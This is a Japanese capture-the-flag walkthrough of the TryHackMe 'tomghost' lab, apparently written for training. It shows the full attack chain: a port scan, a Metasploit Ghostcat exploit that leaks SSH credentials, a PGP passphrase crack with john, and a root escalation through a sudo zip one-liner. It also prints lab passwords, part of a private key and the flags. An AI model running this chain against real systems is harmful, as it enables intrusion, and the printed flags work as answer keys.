概要
TryHackMe「tomghost」のWalkthroughです。
Task1
Q1.Compromise this machine and obtain user.txt
ポートスキャンを実行します。
$ nmap -Pn -sC -sV -A -T4 -p- 10.10.19.167 -oN nmap_result
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 f3:c8:9f:0b:6a:c5:fe:95:54:0b:e9:e3:ba:93:db:7c (RSA)
| 256 dd:1a:09:f5:99:63:a3:43:0d:2d:90:d8:e3:e1:1f:b9 (ECDSA)
|_ 256 48:d1:30:1b:38:6c:c6:53:ea:30:81:80:5d:0c:f1:05 (ED25519)
53/tcp open tcpwrapped
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
| ajp-methods:
|_ Supported methods: GET HEAD POST OPTIONS
8080/tcp open http Apache Tomcat 9.0.30
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/9.0.30
ポートの稼働状況が分かりました。
ポート | サービス | バージョン |
---|---|---|
22 | ssh | OpenSSH 7.2p2 |
53 | tcpwrapped | |
8009 | ajp13 | Apache Jserv (Protocol v1.3) |
8080 | http | Apache httpd 2.4.18 |
8080
ポートでTomcat
のページが表示されました
脆弱性を検索するとGhostcat
の脆弱性がヒットしました。
$ searchsploit ajp 13
----------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------- ---------------------------------
Apache Tomcat - AJP 'Ghostcat' File Read/Inclusion (Metasploit) | multiple/webapps/49039.rb
----------------------------------------------------------------------------------- ---------------------------------
ルーム名や概要からこの脆弱性が使えそうです。
Metasploit
を起動します。
$ msfconsole
Ghostcat
モジュールを選択後、オプションを設定し攻撃を実行すると認証情報らしきものを見つけました。
msf6 auxiliary(admin/http/tomcat_ghostcat) > exploit
(省略)
<description>
Welcome to GhostCat
skyfuck:8730281lkjlkjdqlksalks
</description>
SSH接続を試みると成功しました。
$ ssh skyfuck@10.10.19.167
skyfuck@ubuntu:~$
ユーザーフラグファイルを検索します。
$ find / -name *user.txt* 2>/dev/null
/usr/share/doc/fontconfig/fontconfig-user.txt.gz
/home/merlin/user.txt
/home/merlin/user.txt
からフラグを入手できます。
THM{GhostCat_1s_so_cr4sy}
A.THM{GhostCat_1s_so_cr4sy}
Q2.Escalate privileges and obtain root.txt
merlin
アカウントへの昇格を目指します。
/home/skyfuck
配下のcredential.pgp
が怪しいです。
ls -l
total 12
-rw-rw-r-- 1 skyfuck skyfuck 394 Mar 10 2020 credential.pgp
-rw-rw-r-- 1 skyfuck skyfuck 5144 Mar 10 2020 tryhackme.asc
/home/skyfuck/tryhackme.asc
を確認するとPGP秘密鍵でした。
-----BEGIN PGP PRIVATE KEY BLOCK-----
Version: BCPG v1.63
lQUBBF5ocmIRDADTwu9RL5uol6+jCnuoK58+PEtPh0Zfdj4+q8z61PL56tz6YxmF
3TxA9u2jV73qFdMr5EwktTXRlEo0LTGeMzZ9R/uqe+BeBUNCZW6tqI7wDw/U1DEf
StRTV1+ZmgcAjjwzr2B6qplWHhyi9PIzefiw1smqSK31MBWGamkKp/vRB5xMoOr5
(省略)
/home/skyfuck/tryhackme.asc
をKaliへコピーしパスワードをクラックします。
$ gpg2john tryhackme.asc > hash
$ john hash --wordlist=/usr/share/wordlists/rockyou.txt
alexandru (tryhackme)
パスワードが分かったのでPGPで暗号化されたデータをKaliへコピーし復号します。
$ scp skyfuck@10.10.19.167:/home/skyfuck/credential.pgp ./
$ gpg --import tryhackme.asc
$ gpg --decrypt credential.pgp
gpg: WARNING: cipher algorithm CAST5 not found in recipient preferences
gpg: encrypted with 1024-bit ELG key, ID 61E104A66184FBCC, created 2020-03-11
"tryhackme <stuxnet@tryhackme.com>"
merlin:asuyusdoiuqoilkda312j31k2j123j1g23g12k3g12kj3gk12jg3k12j3kj123j
merlin
アカウントの認証情報が分かったのでSSHでログインします。
$ ssh merlin@10.10.19.167
merlin@ubuntu:~$
sudo -l
で確認すると/usr/bin/zip
が実行可能でした。
$ sudo -l
Matching Defaults entries for merlin on ubuntu:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User merlin may run the following commands on ubuntu:
(root : root) NOPASSWD: /usr/bin/zip
GTFOBinsで調べると権限昇格の脆弱性が見つかりました。
サイト通りに実行しroot権限を得られました。
$ TF=$(mktemp -u)
merlin@ubuntu:~$ sudo /usr/bin/zip $TF /etc/hosts -T -TT 'sh #'
adding: etc/hosts (deflated 31%)
# whoami
root
フラグファイルを検索します。
# find / -name *root.txt* 2>/dev/null
/root/root.txt
/root/root.txt
からフラグを入手できます。
THM{Z1P_1S_FAKE}
A.THM{Z1P_1S_FAKE}